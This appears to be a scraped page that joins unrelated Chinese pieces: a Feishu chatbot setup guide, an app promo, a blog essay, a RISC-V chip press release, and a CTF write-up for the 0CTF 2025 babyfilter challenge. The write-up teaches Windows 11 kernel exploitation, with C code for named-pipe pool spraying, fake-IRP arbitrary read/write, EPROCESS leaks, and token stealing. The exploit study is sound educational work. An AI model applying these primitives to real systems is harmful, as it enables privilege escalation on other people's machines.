clawdbot config set channels.feishu.requireMention true

配置完成之后,重启

clawdbot gateway restart

重启完成后回到飞书,找到「事件和回调」,选择长连接模式,如下图
飞书事件和回调配置 - Clawdbot 长连接模式
如果配置成功,说明连接已建立。继续下面的配置,添加事件,选择「接收消息」事件
飞书添加接收消息事件 - Clawdbot AI 助手
事件添加完成之后,还需要开通权限,有以下权限全部勾选

权限Scope(范围)Description(说明)
contact:user.base:readonly用户信息获取基础用户信息
im:message消息 全部勾选发送和接收消息

如下图
飞书权限配置 - Clawdbot 用户信息权限

飞书消息权限配置 - Clawdbot AI 机器人

以上步骤全部完成后,即可与机器人对话。但在此之前需要先创建一个版本
飞书应用版本发布 - Clawdbot AI 助手上线

注意:每次修改配置后都需要重新发布版本,建议全部配置完成后再统一发布。

发布完成后,回到飞书客户端,可以看到应用已上线,点击打开应用
飞书应用发布成功 - Clawdbot AI 机器人
向机器人发送 Hello,即可收到 Moltbot 的回复
飞书 Clawdbot AI 助手回复测试成功

如有勘误 还请指正

Clawdbot (moltbot) 对接飞书详细教程 手把手搭建你的专属 AI 助手

在主题下方评论,OP 将在今日 18:00 ( UTC+8 )在评论中抽取 20 个兑换码(年度 * 5 , 月度 * 5 , 季度 * 10 ),以及烦请在 producthunt 中评论或点赞

Do? 是您探索亲密关系与性健康的私人伴侣。无论是独自探索身体的奥秘,还是与爱人共度激情时刻,Do? 都能帮您记录爱、理解爱,让每一次心动都有迹可循。

性健康也是健康的重要一环。我们相信,通过记录与回顾,您能更好地了解自己的身体韵律,提升亲密质量,拥抱更愉悦的生活。

为什么选择 Do?

唯美的亲密日记
告别枯燥的列表。Do? 采用精美的日历与时间轴设计,为您珍藏每一次独处或相聚的记忆。优雅的界面设计,只为匹配您最私密的时刻。

看得见的激情
与 HealthKit 和 Apple Watch 无缝同步。实时监测心率起伏,计算亲密运动的卡路里消耗。通过数据,直观感受“慢热”的温存与“巅峰”的狂野。

探索身体的秘密
您是周末派还是工作日派?偏爱清晨的唤醒还是深夜的缠绵?通过 GitHub 风格的年度热力图和详尽的图表分析,发现您潜意识里的性爱偏好与规律。

极致的隐私保护
您的隐私是我们的底线。Do? 的所有数据仅存储在您的设备或私有 iCloud 中,我们无法查看。支持 FaceID/TouchID 锁定,给您的秘密加把锁。

沉浸当下
独立的 Apple Watch 应用让您可以抬手即录,无需寻找手机。让科技隐于无形,让您全身心投入当下的感受。

核心功能:
• 全面记录: 时长、姿势、地点、保护措施,细节尽在掌握。
• 伴侣管理: 以尊重的方式,更有序地记录与不同伴侣的点滴回忆。
• 深度洞察: 按周、月、年回顾您的亲密历程,读懂身体的语言。
• 个性定制: 自定义主题色、App 图标和标签,打造专属于您的私密空间。

下载 Do?,开启您的亲密健康探索之旅。

AppStore 链接
X
tg

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。


刷到一个挺扎心的话题:程序员为什么不自己做产品赚钱。

身边还真有不少人问过类似的话:"你天天写代码这么厉害,怎么不自己搞个App、做个小程序?随便弄弄不就发财了?"

每次听到这种问题,我都不知道该从哪儿开始解释。

最近在 X 乎上看到同行的回答,看完只能说:太真实了。

理想很丰满、现实很骨感

首先,假装我们是程序员,某天深夜加班回家,瘫在沙发上刷手机,突然一个念头炸开——"我去,这个功能市面上根本没有!我要是做一个,肯定爆火!”。

脑子里的画面瞬间清晰:产品上线、用户疯涨、投资人排队、财务自由...,满脑子都是"老子不干了,要创业"。

说干就干,流程走起来:

第一步:注册账号结果发现邮箱早就被自己多年前注册过,还冻结了。解冻、换邮箱,折腾一圈。

第二步:想名字绞尽脑汁想了个好名字,一搜,已被占用。再想想想,终于通过。

第三步:开发前端后端一把抓,不会前端?没事,Ai结伴编程一把梭。uniapp启动,一套代码多端运行,微信、QQ、抖音、快手平台全都要上。

第四步:买服务器,阿里云一核两G,一年600块,付款的时候手还没抖。

第五步:搞域名,随便挑一个,一年30块,便宜。

第六步:备案到这里,噩梦开始了。拍照、填表、等审核,来来回回折腾。好不容易过了,提交小程序审核——"该项目类型个人不支持,需要企业认证。"

卒。亏损-630元。

但程序员嘛,头铁。不信邪,继续:

第七步:注册公司个体户要经营场所,干脆直接注册公司。准备材料、开对公账户、刻公章,又是一顿操作。

第八步:重新认证企业认证要的材料堆成山,干脆重新注册个小程序。又是想名字(原来的还要等两天才能释放)、填资料、承诺书、盖章...

终于,小程序上线了。

上线只是开始,赚钱才是难题。

每天努力宣传、引流,结果广告收益长这样:昨日收入0.65元。

对,你没看错,六毛五。折线图上的曲线在0.3元到1.8元之间反复横跳,月收入6.72元。服务器钱还没赚回来,先赔进去几百块。

什么会这样?

  • 个人开发者不能收费,只能通过挂广告,而广告收入低到离谱。激励广告单价居然只有4.29元/千次展示,Banner广告更惨,几块钱千次展示。算笔账:日访问量要达到2万,才能日入500。2万UV什么概念?很多小公司的官网一天都没这么多人。
  • 推广难,小程序是个封闭生态,你不能诱导分享,否则直接封号。只能从其他平台往微信导流,但用户路径一长,流失率奇高。要开通流量主还得先引流500人,这第一道门槛就卡死不少人。
  • 审核机制让人头大,页面上文字一多,就说你涉及"内容资讯",不给过。个人开发者经营类目受限,动不动就踩红线。

不是技术问题,是商业问题

程序员不做小程序赚钱,不是因为不会写代码,而是因为写代码只是万里长征第一步。

做一个能赚钱的小程序,需要:

  • 产品能力:做什么?解决谁的什么问题?凭什么用你的?
  • 运营能力:流量从哪来?怎么留存?怎么变现?
  • 商业资质:公司、对公账户、各种许可证,合规成本不低;
  • 时间和精力:白天上班,晚上搞副业,服务器半夜挂了还得爬起来修。

而大多数程序员,只是喜欢写代码而已。让他们去搞流量、谈商务、处理工商税务,比写一万行代码还痛苦。

更扎心的是,就算你愿意干这些,小程序的红利期也早过了。2017年刚出来那会儿,确实有人靠简单工具类小程序赚到第一桶金。现在?各大平台库存量几百万个,用户注意力被某音、被红书切得稀碎,新入局者基本就是炮灰。

成功案例

网上经常能看到"做小程序月入过万"的帖子,但仔细看会发现,要么是卖课的,要么是有特殊资源的(比如手里有公众号矩阵导流),要么是早期入局者吃到了红利。
对于普通程序员来说,接个外包项目,按时薪算可能比折腾三个月小程序赚得还多,还省心。

技术只是工具,商业才是战场。会拿锤子的不一定会盖房子,会写代码的不一定能做出赚钱的产品。这不是技术问题,这是两个完全不同的赛道。

最后

所以,开发一个小程序到底能不能赚钱?

能,但跟你关系不大。

要么你有现成的流量池,比如几十万粉丝的公众号、抖音号,小程序只是变现工具;要么你有特殊资源,比如独家数据、行业资质;再要么你踩中了某个极小概率的风口,比如当年疫情期间的健康码周边工具。否则,个人开发者大概率是炮灰。

写代码是确定性的事,输入逻辑输出结果;做生意是概率性的事,投入不一定有回报。 大多数人适合前者,却误以为自己能驾驭后者。

你呢?有没有过"做个产品改变世界"的冲动?最后成了吗?

2026年1月29日,进迭时空正式发布全球首款符合RVA23规范的高性能RISC-V AI CPU芯片K3,标志着RISC-V架构在高性能和AI计算领域的进程迈出关键一步。与此同时,OpenAtom openKylin(简称“openKylin”)已同步完成openKylin操作系统对K3芯片的深度适配与全面支持,构建RISC-V RVA23版本,实现软硬件协同优化,充分释放芯片核心算力,为相关行业应用落地筑牢生态底座。

 作为openKylin社区深度合作伙伴,进迭时空与openKylin长期以来秉持“共筑RISC-V生态底座”的核心目标,在RISC-V内核优化、AI软件栈融合、编译器适配等关键技术领域开展全方位深度合作,携手推RISC-V软硬件生态的协同创新与成熟完善。此次双方的适配合作,重点攻克了RVA23指令集的新特性融合与高性能异构调度难题:

  • RVA23 规范深度优化:充分利用RVA23配置文件中的关键特性(如 Vector 1.0 矢量扩展、位操纵扩展等),openKylin针对K3芯片的8核架构进行了全面的编译优化和支持。
  • 深度适配AI硬件加速:针对K3芯片自带的强大AI算力,openKylin通过优化底层驱动,实现了图像识别、语音处理等AI应用在openKylin上运行更加流畅,显著降低了计算延迟,让芯片的AI性能得到充分发挥。
  • 驱动与外设全面兼容:完成了包括高性能GPU加速驱动、高速网络接口及各类通用外设接口的标准化适配。通过openKylin的设备驱动框架,实现了“开箱即用”的用户体验,确保了K3芯片在各类工业、桌面及具身智能场景下的平滑部署。

     未来,openKylin将持续深化与进迭时空等硬件厂商的合作,聚焦RISC-V内核优化、AI软件栈完善等核心方向,加速构建开放、繁荣、标准化的RISC-V生态体系,通过开源生态力量推动RISC-V技术从基础适配迈向产业级应用,为全球开源生态贡献中国智慧。 

借助0ctf 2025 babyfilter 这道题,学习最新版的Windows 11 25h2 下的内核利用技巧

Windows 11 25H2 下 内核利用技巧

在 Windows 11 25H2的场景下,有一些利用技巧发生了变化,其中最重要的就是 NtQueryInformationSystem 这类泄露技巧不再能使用。

image.png

在过去,很多的EXP利用的时候,往往需要得知内核中特定对象的地址,再通过这个地址对指定对象进行修正。再失去这个API之后,有些攻击手段就不能使用了。

在这种场景下,我们需要寻找一种能够再触发漏洞的场景中,也能所以进行WWW(Write-What-Where) 的利用手段。在本文,我们学习这里提到的使用Windows 中 Pipe 对象进行漏洞利用,实现在不使用NtQuery的场景下进行漏洞利用

利用场景

Pipe的使用场景如下

使用条件:

(1)能够创建命名Pipe对象的权限
(2)存在一个能够UAF/越界写的能力

利用思路:

通过越界写/UAF,在Pipe的DQE列表中的一个对象的完整控制权,之后利用其中的IRP对象,实现读写原语构造。

效果:

能够伪造IRP地址 -> 任意读
任意读+写入真实IRP对象内容后,控制伪造IRP -> 任意写

利用技巧介绍

在了解利用前,我们需要了解Windows的Pipe对象在内存中是怎么样子存放和工作的。

PIPE

命名管道在创建的时候,一般会有一个服务端和一个客户端。一般创建的时候,都是使用类似

    ph->Write = CreateNamedPipeW(
        L"\\\\.\\pipe\\exploit_cng",
        PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        quota,
        0,
        0,
        0);

这种代码负责创建。此时这一段的Pipe为服务端的写入端。一般使用的时候,对应的还有一个客户端,使用CreateFile进行连接:

ph->Read = CreateFile(L"\\\\.\\pipe\\exploit_cng", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
DWORD written;

在我们做利用的时候,通常是需要我们同时打开读写双端的pipe。当我们创建一个Pipe的时候,在内核会创建一个对应的Context Control Block (CCB)对象(下文我们直接用CCB或者Block描述这个对象)。这个对象结构体记录了Pipe这种C/S结构下需要保持的一些成员信息:

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

这个结构体是没有导出的,所以不能用windbg进行检查。这个结构体主要是由驱动npfs进行实现的。在有些PoC或者头部文件中,这个结构体也被称之为NP_DATA_QUEUE_ENTRY。他们本质上是同一个对象。之后我们可能会用DQE来简称这个CCB中的对象。

为了能够稳定的申请指定大小的内存,我们需要准确的计算当前需要的池大小,通常满足这样的数学关系:

#define TARGET_CHUNK_SIZE 0x1000
#define SPRAY_SIZE (TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY))

不过,实际上我们申请的时候:

ph->Write = CreateNamedPipeW(
    L"\\\\.\\pipe\\exploit_cng",
    PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    quota,
    0,
    0,
    0);

此处的quote通常为TARGET_CHUNK_SIZE,这里只是用于标记我们的pipe需要存放的最大数据。在这之后,我们需要调用Write操作:

BYTE spray_data[SPRAY_SIZE];
memset(spray_data, 'X', sizeof(spray_data));

if (!WriteFile(ph->Write, spray_data, sizeof(spray_data) - 16, &written, nullptr)) {
    printf("failed to write pipe: %lu", GetLastError());
    CloseHandle(ph->Read);
    CloseHandle(ph->Write);
}

这个时候,程序才会真正的创建一个DQE,用于存放我们这一次需要写入Pipe的数据的基本信息。这里的SPRAY_SIZE就是之前计算过的,用TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY)计算出来的数据大小(再减去16,也就是池头部大小)

Data Queue Entry

这里我们简单介绍一下DQE中各个比较关键结构的相关属性

NextEntry

在内存中,不同的DQE会使用链表结构进行串联:

DQE1.png

在我们调用WriteFile的时候,就创建一个Entries。而如果当一个Entries中的数据被ReadFile读完了,就会将这个对象从双向链表中去掉。

EntryType

在Pipe中,存在两种类型的实例:缓存对象(Buffered Entries)和非缓存对象(Unbuffered Entries),这个就是使用EntryType进行存储。

缓存对象 Buffered Entries

正如结构体所示:

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

需要存放在Pipe中的数据会被直接存放在Data数据中:

DQE2.png

常见的CreateNamedPipeW创建的正是这种DQE,这种时候我们使用WriteFile写入的数据就会放在Data中。

非缓存对象 UnBuffered Entries

当我们使用APINpInternalWrite(这个API不能直接使用)进行Pipe写入的时候,会导致分配一个非缓存的DQE。此时操作系统会多分配一个IRP交给这个对象:

DQE3.png

此时,这个IRP描述的是【一个暂时未写完的数据】,用于存放此时用户态未能及时传入到内核态的数据。

想要申请这样的对象,可以使用

NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, target_buffer, target_size, 0, 0);

这样的方式进行内存分配。这种分配方式的好处在于,可以控制一个完全由用户可控的内存空间,其中

  • target_buffer 为希望控制的内存空间内容
  • target_size 为希望分配的内存大小
IRP

正如前面提到的,IRP用于存放一个用户态未能及时传入内核态的数据。它的结构如下

0: kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved1        : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x014 Reserved2        : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void 
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

这里需要注意几个关键成员变量:

  • AssociatedIrp:这个是IRP用于存放来自用户态的数据的关键变量之一。不同类型的IRP请求中,这个成员变量的含义会有所不同,它本质为一个Union为 cpp union { struct _IRP *MasterIrp; __volatile LONG IrpCount; PVOID SystemBuffer; } AssociatedIrp;

    在我们这次讨论的上下文中,这里取值为AssociatedIRP.SystemBuffer,后文我们也用SystemBuffer指代这个成员变量
    - ThreadListEntry:当前的IRP指向的Thread所在的一个链表,它指向发起该 I/O 请求的线程(ETHREAD)。。实际上,每一个IRP会和一个线程高度绑定。当一个线程结束的时候,对应的IRP也会结束。下文我们详细介绍。

所以如果我们的PIPE中的数据足够小,能够一次性被读完的时候,IRP这个对象是不存在的。只有满足下面两个条件之一,Windows在会在DQE中存入一个IRP

  • 当前申请的DQE为非缓存对象(这代表这个Pipe对象不会被当即读完)
  • 当前写入的内存超过了一个Pipe能够存放的最大数据(也就是Pipe中还有其他需要被写入的数据)

实际上,当我们利用的时候,这两个特性都会用到

QuotaInEntry

用于描述当前定额的内存中还有多少剩余。对于一个非缓存对象,这个值为0,对于缓存对象,这个值最初会和我们说到的DataSize一样大, 然后随着对Pipe的读取,逐渐减少为0

DataSize

存放了当前Pipe中能够存放的用户数据的最大长度。

利用原语

接下来,我们会介绍如何利用上述的PIPE构造平时利用时可能用到的原语。

非分页池风水

这些Pipe使用的都是非分页池,这些池在进行风水的时候,一般有两个思路:

  • 使用缓存内存。这种时候我们通常使用CreateNamedPipe+WriteFile的形式进行DQE的分配,不过这个时候分配的内存大小需要为target_size - sizeof(DATA_QUEUE_ENTRY)
  • 使用非缓存内存。这个时候我们通常直接使用NtFsControlFile进行风水

不过一般来说,大家还是偏爱使用前面那种方式进行风水,因为使用起来相对简单。

任意地址读

当我们尝试使用PeekNamedPipe(注意不是ReadFile)去读取一个Pipe对象的时候,程序会尝试获取当前Pipe中的数据(但是并不是真正意义上从Pipe中将数据读取出来),这一步仅仅是获取了Pipe中的数据,所以可以理解成是一个只读的行为。

在这个过程中,操作系统会根据DQE的属性EntryType,决定我们此时要读取的内存地址是来自于IRP,还是紧跟着DQE的缓存区。当我们的内存地址为非缓存对象的时候,操作系统获取数据会来自于IRP中存放的SystemBuffer(也就是AssociatedIRP)的地址

DQE3.png

所以这里有一个简单的做法就是:我们伪造一个假的FakeIRP,并且在这个FakeIRP中指向一个我们想要读取的内存地址target_addr,同时我们利用漏洞,将当前的DQE修改成EntryType=Unbuffered(1),那么此时,当我们调用PeekNamedPipe的时候,系统就会尝试从FakeIRP->SystemBuffer中读取数据,并且还给PeekNamedPipe读出的buffer中,从而造成一个任意地址读:

DQE4.png

之后,我们就能够尝试进行关键地址的泄露了。而这个FakeIRP,完全可以来自用户态:

void ReadMem(HANDLE port, PIPE_HANDLES* pipes, uint64_t addr, size_t len, unsigned char* data) {
    static char* buf = (char*)malloc(TARGET_CHUNK_SIZE + 1);
    memset(buf, 0, TARGET_CHUNK_SIZE + 1);
    DWORD read;
    DATA_QUEUE_ENTRY dqe;
    ReadDataFromGMSG((unsigned char*)&dqe, sizeof(DATA_QUEUE_ENTRY));
    IRP fakeIRP = { 0 };
    fakeIRP.AssociatedIrp = (void*)addr;
    DATA_QUEUE_ENTRY fakeNP = dqe;
    fakeNP.Irp = (IRP*)&fakeIRP;
    fakeNP.EntryType = 1;
    fakeNP.SecurityContext = 0;
    fakeNP.QuotaInEntry = 0;
    fakeNP.DataSize = len;

    CallFilterComm(EDIT_BLOCK, sizeof(fakeNP), (unsigned char*)&fakeNP);
    DWORD dwLen = 0;

    // PrepareDataEntryForRead(dqe, (IRP*)(USER_DATA_ENTRY_ADDR + 0x1000), addr);
    PeekNamedPipe(pipes->Read, data, len, &dwLen, 0, 0);
    CallFilterComm(EDIT_BLOCK, sizeof(dqe), (unsigned char*)&dqe);
}

如上,我们只需要构造一个来自用户态的FakeIRP,然后将其传递给我们内核的一个DQE对象中,再通过漏洞的形式,将这个修改后的DQE篡改内核的DQE中,即可实现任意地址读。

泄露关键 EPROCESS

假设我们此时失去了NtQueryInformationSystem这个利器,那此时意味着我们需要寻找其他的API进行泄露。

一个最简单拿的方法就是利用前文提到的IRP。正如我们前面介绍的,IRP本质上是和线程高度绑定的。每一个线程会记录当前线程中还有多少个未完成的IRP,同样的,每一个IRP都会拥有一个成员变量ThreadListEntry,记录当前IRP由哪些线程管理。这个结构体是一个“嵌入在 IRP 里的 LIST_ENTRY”

0: kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved1        : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x014 Reserved2        : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void 
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

操作系统用来把 IRP 挂到发起它的线程(ETHREAD)上

IRP->ThreadListEntry

关系大概是

EPROCESS
 └── ThreadListHead
      └── ETHREAD
           └── IrpList   <──────────────┐
                ▲                       │
                │                       │
           IRP.ThreadListEntry ─────────┘

每一个线程的 ETHREAD 结构中都有一个链表头 IrpList,记录了该线程当前所有 Pending(挂起)的 IRP

所以,只要我们能够拿到一个真实存在的IRP,我们就能利用这个IRP,将ETHREAD对象泄露出来,而ETHREAD对象中,又存放了KPROCESS的地址:

0: kd> dt _KTHREAD Process
ntdll!_KTHREAD
   +0x220 Process : Ptr64 _KPROCESS

(在操作系统中,_E开头的结构体中通常包含了一个_K开头的结构体作为首个成员变量。例如_ETHREAD的第一个成员就是_KTHREAD Tcb

利用上述的技巧,我们就能完成针对EPROCESS的完整泄露,这之后就能够泄露Token所在的地址。

获取真正的IRP

然而,再前面,我们只是伪造一个IRP,所以不存在这些数据。为了得到这个IRP,代码通常会这样做:

程序会先使用多线程,异步的运行一个写入动作

DWORD WINAPI CreateIRPThread(void* arg) {

    PIPE_HANDLES* victim_pipe = (PIPE_HANDLES*)arg;
    DWORD res;
    char buf[0x1000] = { 0 };
    memset(buf, 'Z', sizeof(buf));
    printf("prepare write buffer to create irp\n");
    WriteFile(victim_pipe->Write, buf, 0x1000, &res, NULL);

    Sleep(-1);
    return 0;
}

void main()
{

    /// skip code
    CreateThread(NULL, 0, CreateIRPThread, &victim_pipes[dwIdx], 0, NULL);
    Sleep(2000);

    /// here we will try to leak IRP
}

这里我们通过Sleep(-1)永久的暂停了这个IRP的动作,从而防止线程关闭导致IRP的消失。在我们进行风水占坑,然后未进行任何操作之前,内存的布局大多数是这样的:

DQE5.png

在这个操作之后,我们的Pipe Queue中会被塞入一个拥有真正IRP的对象:

DQE6.png

获取到IRP之后,我们再使用之前创建的任意地址读原语,顺着我们之前的DQE.NextEntry.Flink双向链表搜索,找到这个存放了IRP的目标Block。

    DATA_QUEUE_ENTRY* nowChunk = (DATA_QUEUE_ENTRY*)LeakBuf;
    printf("Now leak address 0x%llx\n", nowChunk->Flink);
    DATA_QUEUE_ENTRY nextChunk = { 0 };
    ReadMem(g_hPort, &victim_pipes[dwIdx], nowChunk->Flink, sizeof(DATA_QUEUE_ENTRY), (unsigned char*)&nextChunk);
    printf("nextChunk.Flink 0x%llx\n", nextChunk.Flink);
    printf("nextChunk.Blink 0x%llx\n", nextChunk.Blink);
    printf("now leak nextChunk.Irp is %p\n", nextChunk.Irp);

任意地址写

与任意地址读相比,写就要稍微复杂一点。因为写不能像读那样,伪造一个DQE,让系统以为我们的申请缓存对象为非缓冲对象,从而利用IRP实现任意地址写。

我们实现写入操作的时候,利用的是从Pipe中读取数据的ReadFile,这个动作最终会做一个类似这样的动作

memcpy(IRP->UserBuffer, IRP->Associated.SystemBuffer, len);

我们可以利用这一点来实现任意地址写。

然而,这个动作和之前的PeekNamedPipe不同,这涉及到Pipe中数据变化,不是在npfs中进行检查,导致这个过程中存在非常多对IRP的check,所以我们就不能像之前那样简易的随意塞入参数,从而伪造一个FakeIRP,而是必须要通过创建一个拥有真正IRP的无缓冲对象,同时拷贝真正的IRP,通过修改它来实现这个操作。

伪造IRP

在我们任意地址读的实现过程中,我们获取了真正的IRP,于是在这里我们可以借助之前的IRP完成数据拷贝和伪造。在这个伪造过程中,我们需要尽可能地保留其中的源数据,所以一般会直接将数据传递过去,例如

unsigned char IrpBuffer[0x100] = { 0 };
IRP* nextIrp = (IRP*)IrpBuffer;
ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);
WriteMem(g_hPort, &victim_pipes[dwIdx], 
    IrpBuffer, sizeof(IrpBuffer),
    _KPROCESS_SYSTEM + c_offsets[g_setoff][EPROCESS_TOKEN], //SYSTEM_TOKEN,
    _KPROCESS_CURRENT + c_offsets[g_setoff][EPROCESS_TOKEN], 
    sizeof(SYSTEM_TOKEN));

这一次的伪造,我们需要考虑以下因素:

(1)由于当我们完成任意地址写的时候,IRP会被释放,所以我们需要一个真正的内核地址存放这个伪造的IRP,为了完成这个目的,这里可以使用无缓存内存空间。因为这个对象会创建一个存放用户可控数据的,内核池数据(正如前面介绍的那样,无缓存对象的可控数据放在一个单独的池内)所以我们这里可以通过这个API来存放伪造的IRP

void PrepareWriteIRP(IRP* irp, PVOID thread_list, PVOID source_address, PVOID destination_address) {
    irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
    // irp->Flags = 0x60850;
    irp->AssociatedIrp = source_address;
    irp->UserBuffer = destination_address;
    irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
    irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}

uint64_t thread_list[2];
PrepareWriteIRP((IRP*)fakeIrp, (void*)thread_list, (PVOID)src_addr, (PVOID)dst_addr);

NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, fakeIrp, 0x1000, 0, 0);

这里的fakeIRP就是我们存放的一个被伪造的IRP。

(2)此时的IRP会有很严格的Check,包括对ThreadListEntry的检查,所以我们这里同样需要一个真正的ThreadListEntry对象。关于这个对象,我们可以直接使用在无缓冲对象中存放的IRP->ThreadEntryList,这个链表正好是真实的,这里假定我们将这个内存对象拷贝到了我们伪造的IRP,于是我们只需要保证ThreadListEntry.Flink->Blink==ThreadListEntry.Blink->Flink==&FakeIRP->ThreadListEntry,这样正好把自己从链表中摘了出去。

注意坑点
(3)上述结构体的最后Tail实际上是一个联合体,里面有很多在调用过程中会用到的参数,并且在IRP后还紧跟着IO_STACK_LOCATION相关数组。实际上,一般来说,sizeof(IRP)的大小正好就是0xb8,在笔者调试的时候发现,在IRP+0xB8的位置正好存放了一个IO_LOCATION_STACK对象,但是Windows结构体中没有给出说明。这段汇编为

    /*
    * CONTEXT:  fffff40373c44b60 -- (.cxr 0xfffff40373c44b60)
    rax=0000000000000003 rbx=0000000000000000 rcx=ffffe106e7843000
    rdx=0000000000000002 rsi=ffffe106e7843000 rdi=0000000000000001
    rip=fffff801c77217bb rsp=fffff40373c45590 rbp=fffff40373c45690
     r8=0000000000000002  r9=0000000000000001 r10=fffff801c7721700
    r11=0000000000000000 r12=0000000000000002 r13=0000006c6defdc80
    r14=0000000000000000 r15=ffffe106e1aeddb0
    iopl=0         nv up ei pl zr na po nc
    cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
    nt!IopfCompleteRequest+0x7b:
    fffff801`c77217bb 803b16          cmp     byte ptr [rbx],16h ds:002b:00000000`00000000=??
    Resetting default scope

    PROCESS_NAME:  BabyfilterPoC.exe

    fffff801`c772179f 488b99b8000000  mov     rbx,qword ptr [rcx+0B8h]
    rcx = IRP

    that's mean rcx=0xb8 is very important
    0: kd> dps 0xffffbb8b91445bb0+0xb8
        ffffbb8b`91445c68  ffffbb8b`91445cc8
        ffffbb8b`91445c70  ffffbb8b`9257eb50
    */

所以,在实际进行IRP伪造的时候,建议直接多拷贝一些内容,例如

unsigned char IrpBuffer[0x100] = { 0 };
IRP* nextIrp = (IRP*)IrpBuffer;
ReadMem(g_hPort, &victim_pipes[dwIdx], (unsigned long long)nextChunk.Irp, sizeof(IrpBuffer), (unsigned char*)&IrpBuffer);

保证之后伪造的时候,也能够得到完整的数据。

伪造DQE

当我们准备好一个IRP之后,我们还需要一个能够将我们修改后的IRP写入。显然在拥有任意地址写之前,我们只能有一个可被我们控制的DQE对象(也就是我们漏洞所在的那个DQE)。于是我们可与按照任意地址读的方式,修改这个DQE也为无缓存对象,不过这一次我们写入的是一个被我们精心伪造过的,存在内核态的一个IRP,从而保证后续漏洞利用的触发:

DQE7.png

具体写什么?

这里具体来说,我们仍然可以用非常经典的修改TOKEN的策略,也就是通过任意地址读,找到SYSTEEM进程的TOKEN地址,并且将其写入当前EPROCESS的TOKEN位置,即可完成漏洞攻击。

实战:Babyfilter

这个题给了一个简单的Minifilter,可以让不熟悉MiniFilter的同学了解这类驱动。同时也给出了在Windows 11下,条件竞争漏洞的利用技巧,考察点比较新颖

题目分析

题目说明如下:

qemu + win11 26200.7462

get SYSTEM and read c:\flag.txt

nc 202.120.7.13 58390

pnputil /add-driver babyfilter.inf /install

sc start babyfilter

fltmc attach babyfilter c:

通过后三条,我们可以知道目标程序为MiniFilter,并且知道了安装方式。于是我们可以先装一个新版的Windows11,并且将对应的安装办法整理成脚本,作为测试环境。

MiniFilter

这个驱动又可以叫做文件系统过滤驱动(File System Filter Driver),这类驱动的特点是,它会挂载在IO管理器下,能够以更加轻便的方式对IO请求进行拦截和修改

这类驱动在与用户态通信的时候,通常使用的是

NTSTATUS FLTAPI FltCreateCommunicationPort(
  PFLT_FILTER            Filter,
  PFLT_PORT              *ServerPort,
  POBJECT_ATTRIBUTES     ObjectAttributes,
  PVOID                  ServerPortCookie,
  PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
